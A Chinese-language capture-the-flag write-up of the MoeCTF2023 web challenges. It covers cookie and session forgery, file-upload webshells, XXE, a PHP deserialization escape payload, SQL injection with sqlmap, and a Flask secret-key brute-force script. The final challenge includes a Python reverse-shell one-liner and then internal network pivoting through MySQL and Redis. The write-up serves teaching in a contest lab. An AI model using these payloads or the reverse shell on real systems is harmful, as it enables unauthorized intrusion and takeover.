MoeCTF2023 wp--web篇
好久没有用这个,今天记录一下MoeCTF2023的解题记录吧。新生赛,题目难度比较适合入门,各考点也比较清晰,还是不错的。
二、Web
1.http
CHALLENGE: http
DESCRIPTION: 听说这个http里还有个什么东西叫饼干,也不知道是不是吃的
看题目信息,第一眼就是cookie。进入题目看看。
要求:1.get传入UwU=u;
2.post传入Luv=u;
3.用户名是admin;
4.来源是127.0.0.1;
5.使用浏览器是MoeBrowser。
前两个很简单,不用多说。既然要修改流量包,那我们抓包看看。
首先可以看到,这里构造了,get和post的参数。响应提示,第一和第二个已经完成。。。看看图片截图处,guset。很明显,改成admin试试。
okk。第三个完成。第四个,xff即可。
第五个,修改浏览器标识即可。
2.Web入门指北
这个题没有什么好写的,直接在文档内找flag即可 。
3.彼岸的fLag
CHALLENGE: 彼岸的flag
DESCRIPTION: 我们在某个平行宇宙中得到了一段moectf群的聊天记录,粗心的出题人在这个聊天平台不小心泄露了自己的flag
提示,看不来什么东西,进入题目看看。
翻了一遍,也没有什么有用的东西。在源代码内,看到flag。PS;我们在做web题的时候,没有思路可以看看源代码有无提示。
4.cookie
CHALLENGE: cookie
DESCRIPTION: **本题无需扫描器/爆破**
hint: readme只是一个样例,不是拿来复制的
题目存在附件,先打开看看。
一个注册和登录的接口文档。获取flag看看。
提示,你必须先登录才可以。
既然有注册接口,那么就先注册一个账号吧。PS:使用附件给的会提示用户存在。
然后在登录看看。
登录成功,给了一个token。先看看能不能拿flag。。PS:这里需要把登录得到的flag放到cookie里。
enmmm。果然flag不是那么好拿的。提示需要admin。。那么再看看给的token
把角色改为admin看看。
okk。拿到flag
5.gas! gas! gas!
CHALLENGE: gas!gas!gas!
DESCRIPTION: Klutton这个假期信心满满地准备把驾照拿下,于是他仔细地学习了好多漂移视频,还准备了这么一个赛博赛车场;诶,不对,开车好像不是用键盘开的?
提示没有发现有效信息。进入题目看看。
给了提示,1,2,3,4.因为要0.5s内完成。所有就写脚本吧。话不多说,上脚本。不知道参数怎么来的,可以先bp抓包就可以得到。
6.moe图床
CHALLENGE: moe图床
DESCRIPTION: 我们准备了一个moe图床用于上传一些图片
hint: 链接难道给的有问题吗0.0?
看提示,没有发现有效信息。打开题目看看。
一个文件上传。先随便传个正常图片看看。
得到一个地址,访问看看咯。PS:这里还泄露一个物理路径。
打开之后,发现还是正常的。enmmm。没有其他问题。。。。。那么回到首页。然后在看看源代码?
这里有个upload.php。访问看看。
哦吼,拿到源代码。审计看看。
ok。他只取第一个后缀。我们构造一下。
插入一句话。将后缀添加.php。。。发现上传成功,访问看看。
成功,现在就找flag就行。
7.了解你的座驾
CHALLENGE: 了解你的座驾
DESCRIPTION: 为了极致地漂移,我们准备了一个网站用于查找你喜欢的车车;听说flag也放在里面了,不过不在网站目录放在根目录应该没问题的吧。。。
看提示,发现flag在根目录。。。。大多数不是都在根目录?
进入题目看看,
enmmm。让我们选车。逛了一下。没有发现点。
查看源代码。
这是啥?xxe?然后在看看流量包。
这不就是xxe嘛。。。试试看。
注意。这里需要url编码。
8.大海捞针
CHALLENGE: 大海捞针
DESCRIPTION: 该死,之前的平行宇宙由于flag的泄露被一股神秘力量抹去,我们脱离了与那个宇宙的连接了!不过不用担心,看起来出题人傻乎乎的是具有泄露flag的概率的,我们只需要连接多个平行宇宙...(难道flag在多元宇宙里是全局变量吗)
tips:仅有这道题要用到扫描器,请不要将爆破速度调整过快,flag是一定能找到的
环境:
http://101.42.178.83:7771/
提示。需要爆破。进题目看看。
提示。id1-1000.那就直接开搞吧。在163时,发现长度变大了。。直接看,拿到flag
9.meo图床
CHALLENGE: meo图床
DESCRIPTION: 我们准备了一个meo(?)图床用于上传一些图片
这个提示,也没有什么东西。看看题目。
还是一个文件上传。会不会和刚才那个一样?
upload.php空白
那就在上传一张照片看看吧。
看看图片。。
这里是用name作为参数传递的。。。试试会不会有任意文件读取。
bp里面在看看。
读取成功。。那么读flag呗。
一个大写的尴尬。。。不过给了一个一个地址。进去看看。。
一眼望去。都不要审计。。。md5绕过。。
10.夺命十三枪
CHALLENGE: 夺命十三枪
DESCRIPTION: 夺命十三枪!然后是啥来着?
看不懂这个提示。那就相当于没有提示吧。。。进入题目看看。
php反序列化的题目。头部文件包含。看看这个文件
存在一个静态引用函数Make_a_Move及str_replace。
str_replace存在反序列化的字符串逃逸
然后我们在重新理一下。目的是在夺命十三枪后面修改为";s:11:"Spear_Owner";s:6:"MaoLei";},该字符串长度为35,根据代码可以知道"di_qi_qiang" => "Penetrating_Gaze",刚好是从11->16,每次转换可以逃逸5个字符串,只需要重复7次"di_qi_qiang"即可完成逃逸,所以最终payload:?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
11.Signin
CHALLENGE: signin
DESCRIPTION: 真的是signin(
**本题无需扫描器/爆破**
提示,无需扫描爆破。估计有点绕。。。存在一个附件,打开看看。一个py。
最终审计下来,可以利用字符和数字进行绕过,例如username="1" password=1
paylaod = {"username":"1","password":1} 在base64编码5次即可
12.出去旅游的心海
CHALLENGE: 出去旅游的心海
DESCRIPTION: 欢迎来到心海新建的博客!正值假期期间,她抓紧时间出去旅游放松一下,看看她最近都在研究什么?
http://101.42.178.83:7770/
这里有一个sql注入wordpress/wp-content/plugins/visitor-logging/logger.php。。。注意一下时间,随便写一个123就行。然后sqlmap一把梭即可。
13.Moeworld
CHALLENGE: moeworld
DESCRIPTION: 你已经学会了1+1=2,接下来尝试真实的渗透吧~
解压密码为“出去旅游的心海”的flag
根据上一个题目的flag。解压压缩包。得到
访问题目
是一个登录,提示,不用爆破。注册一个账号并登录看看。
第一个提示,secret_key 那应该就是session伪造了。
看看cookie
题目给的secret_key,还差最后4位(不知道为什么是4位的运行一下secret_key的代码)。那就用得到的session去爆破key吧。以下是爆破脚本。
#!/usr/bin/env python3 """ Flask Session Cookie Decoder """ import zlib from itsdangerous import base64_decode import ast import os from flask.sessions import SecureCookieSessionInterface class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key class FSCM: def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) @staticmethod def decode(session_cookie_value, secret_key=None): try: if secret_key is None: compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) if __name__ == "__main__": cnt = 1 key = "This-random-secretKey-you-can't-gete9d4" # print(FSCM.encode(key,"{'power': 'admin', 'user': 'admin'}")) while True: cookie_value = 'eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6ImFkbWluMTIzIn0.ZRJTGQ.UYcHGGb1O6nBfbSwzO06vQ7lDco' secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex() if secret_key: result = FSCM.decode(cookie_value, secret_key) else: result = FSCM.decode(cookie_value) cnt += 1 print(result, cnt) if 'power' in result: print(result, secret_key, 'YES') break
将爆破的key在进行session伪造(将注释的代码解掉,修改key为爆破成功的key即可)。
修改cookie。在访问看看。
这里多了一个提示。访问console看看。
一个命令执行框,反弹shell。
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ip",端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
在根目录下拿到flag。。。在根据文本提示,打开readme。得到提示。
首先看看ip。cat /etc/hosts
进入/app/tools目录找到fscan进行扫描。根据提示拿到开始压缩包密码(22-3306-6379-8080)。打开文件看看
那么目的很明确了。一个mysql,一个redis。
上代理,从当前服务器的工作目录下,发现数据库配置文件。打开得到数据库信息
连接数据库得到flag。
然后redis写公钥,拿到另外flag。